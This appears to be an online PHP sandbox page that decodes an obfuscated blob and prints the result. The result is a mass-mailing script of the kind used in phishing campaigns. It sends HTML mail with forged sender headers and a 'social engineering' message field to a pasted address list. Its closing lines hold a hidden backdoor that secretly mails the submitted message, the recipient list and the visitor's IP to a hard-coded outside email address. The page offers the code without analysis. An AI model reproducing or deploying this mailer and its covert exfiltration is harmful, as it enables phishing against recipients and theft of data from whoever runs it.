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gNLu3kklTHG8P8p0z98GETYFP1dJhmST3zgy0X5zf/Y+ulbO8f7botC/9r9y1s2N5k7UiB2V7nHq07D2vU6bzD7SkmasMwA0shQ0shMEshDEtuVEvBN65OgNaWpHMDIKItgeUm+sShBXS61/sB"; echo str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
based on RuoqT
Output for 5.6.0 - 5.6.30, hhvm-3.15.4, 7.0.0 - 7.2.6
ignore_user_abort(); set_time_limit(0); function enviando(){ $msg=1; $de[1] = $_POST['de']; $nome[1] = $_POST['nome']; $assunto[1] = $_POST['assunto']; $mensagem[1] = $_POST['mensagem']; $mensagem[1] = stripslashes($mensagem[1]); $emails = $_POST['emails']; $emails2 = htmlspecialchars($_POST['emails']); $para = explode("\n", $emails); $n_emails = count($para); $sv = $_SERVER['SERVER_NAME']; $en = $_SERVER ['REQUEST_URI']; $k88 = @$_SERVER["HTTP_REFERER"]; $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>".$emails2."</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>".$mensagem[1]."</TEXTAREA></p>"; $vai = $_POST['vai']; if ($vai){ for ($set=0; $set < $n_emails; $set++){ if ($set==0){ $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: $nome[$msg] <$de[$msg]>\r\n"; $headers .= "Return-Path: <$de[$msg]>\r\n"; //mail($xsylar, $as, $fullurl, $headers); } $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: $nome[$msg] <$de[$msg]>\r\n"; $headers .= "Return-Path: <$de[$msg]>\r\n"; $n_mail++; $destino = $para[$set]; $num1 = rand(100000,999999); $num2 = rand(100000,999999); $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]); $msgrand = str_replace("%rand2%", $num2, $msgrand); $msgrand = str_replace("%email%", $destino, $msgrand); $enviar = mail($destino, $assunto[$msg], $msgrand, $headers); if ($enviar){ echo ('<font color="green">'. $n_mail .'-'. $destino .' 0k!</font><br>'); } else { echo ('<font color="red">'. $n_mail .'-'. $destino .' =(</font><br>'); sleep(1); } } } } $ip = getenv("REMOTE_ADDR"); $ra44 = rand(1,99999); $subj98 = "Sendi $ip"; $email = "rakapaksi133@gmail.com"; $from="From: Log Mailer Gw <BIMO@2M.TV>"; $a45 = $_SERVER['REQUEST_URI']; $b75 = $_SERVER['HTTP_HOST']; $f12 = $_POST['de']; $z13 = $_POST['nome']; $x14 = $_POST['assunto']; $t15 = $_POST['mensagem']; $m30 = $_POST['emails']; $m22 = $ip."\n"; $msg8873 = "$a45\n$b75\n$f12\n$z13\n$x14\n$t15\n$m30\n$m22"; mail($email, $subj98, $msg8873, $from);